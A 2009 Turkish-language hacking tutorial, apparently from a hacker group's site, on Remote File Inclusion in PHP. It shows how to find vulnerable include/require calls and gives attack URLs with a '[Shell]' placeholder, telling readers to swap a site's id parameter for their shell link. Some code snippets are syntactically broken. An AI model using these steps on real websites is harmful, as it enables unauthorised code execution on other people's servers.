Root > Documents > Web Güvenlik Açıkları > Remote File Inclusion
Cyber-Warrior.Org \ Doküman \ Web Güvenlik Açıkları > Remote File Inclusion
Madde
  Yazar : Bug Researchers
  Date : 03.08.2009 20:39:34
 
# Remote File Inclusion
 

Remote File Inclusion

Remote File Inclusion(RFI) Uzaktan Dosya dahil olmasi anlamina gelmektedir.

Remote File Inclusion bir saldiri teknigi, bilgisayardan Internet web sitelerine saldiri için kullanilir.

Uzaktan dosya katilim(RFI) saldirilari kötü niyetli kisilerin :) kurban olarak gördügü web sitesinde kendi PHP kod çalistirmasina izin verir.Böylece uzaktan dosya dahil olur.

Remote file inclusion 4 tane kodun sayesiyle bulunur.

Bunlar sunlardir,

include

require

include_once

require_once

Bir de veriable isimli bilgi sepetlerimiz var,

$hayber = ’Exploit’;

Herhangi bir script indirin ve de (Örnek veriyorum) o scriptin abcd.php adli dosyasina bakin.(Notepad ile açin,eger hata veriyorsa googleden Notepad2 adli dosyayi indirin)

Oradaki kodlara tek tek bakin.

Girdik diyelim fotograf.php ye

Örnek veriyorum;

define(’IN_Scripts’, true);

$phpbb_root_path = ’./’;

$album_root_path = $phpbb_root_path . ’fotograf_mod/’;

include($phpbb_root_path . ’abcd.inc’);

include($phpbb_root_path . ’hayber.’.$phpfX;

Simdi burda bu include kodun oldugunu farkettik.Size require de olur demistim.Bunu da buraya yazabilirim,degisen olmayacaktir.

Yani,

require($phpbb_root_path . ’abcd.inc’);

include($phpbb_root_path . ’hayber.’.$phpfX;

Degisen hiçbir sey olmayacaktir.

Require ve include ne ise yarar?

include bir dosyayi baska bir dosyanin içine dahil etmektir.

Örnek verirsem,

Diyelim ki burda script sahibi 100 sayfa kod yazmis ,bunu fotograf.php için yazmis.Atiyorum,index.php de bu kodlara ihtiyaci var,tek satir kodla include(album.php) de yazdigi zaman direk karsisina gelir bunlar.

include iste bu ise yarar

Bu 2 kod ( include ve require) arasindaki fark,

Require yani include dahil edilmesi gereken dosya mevcut degil ise hata verir ve geri kalan kodlarin hiçbirini çalistirmaz.include de ise tek bir satir hata verir bu dosya bulunmuyordur.Kalan su kodlarin devamini çalistirmaya devam eder.Aralarindaki tek fark budur.

Require_once ve include_once tek sefer yani tüm script içinde one script demektir.Tek seferde hareket etme anlaminda.Bu yüzden aralarinda pek fark yoktur.

Sizin bilmeniz gereken bu 4 tane kodu yani bunlari,

include

require

include_once

require_once

tek tek satirlarin içinde arayacaksiniz.

Bir de sizlere veriable bilgi sepeti var demistim,

define(’IN_Scripts’, true);

$phpbb_root_path = ’./’;

$album_root_path = $phpbb_root_path . ’fotograf_mod/’;

include($phpbb_root_path . ’abcd.inc’);

include($phpbb_root_path . ’hayber.’.$phpfX;

Bazi scriptler veriable koyar,mesela üstteki örnekte görebiliyoruz.

include($phpbb_root_path

mesela burda bunu yazmis ve de üstüne buna tanimlamis ve dizini göstermis(phpbb_root_path)

$phpbb_root_path = ’hayber’;

Bizim burda asil isimiz sudur,tanimlanmamis olan scripti kendi kodumuzla kendi istedigimiz kodlarla doldururuz.

Üstte gördügünüz gibi Yani shell linkimizi buna bir sekilde tanimlamis oluyoruz.

/includes/fotograf.php?phpbb_root_path=[Shell]

Ben buna burda tanimladigimda örnekteki kodlari site üzerinde çalistiyorum.

Burda yapmamiz gereken scriptte dolanip,bu yukarda göstermis oldugum 4 kodu arayacaksiniz ve parantez içinde böyle;

$phpbb_root_path = ’hayber’;

gibi bir sey arayacaksiniz :)

Zayif bir php kodu örnek,

include($page . ’.php’);

bu php kod asagidaki örnek gibi url lerde kullanilir,

http://www.a.com/index.php?page=archive

buradaki $page degiskeni özel tanimli degil ise,shelli hedef sunucu üzerinde çalistirabilirsiniz yani,

www.a.com/index.php?page=[SheLL]

Girin bir siteye mesela id degeri vardir id=13 dür,13 ü silin shellinizin linkini koyun ucuna.Böylece RFI deneyebilirsiniz.

RFI buldugunuz sitede XSS de bulabilirsiniz.

id= nin ucuna xss kodu ekleyerek.

 

Bug Researchers - HayBer

....

   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©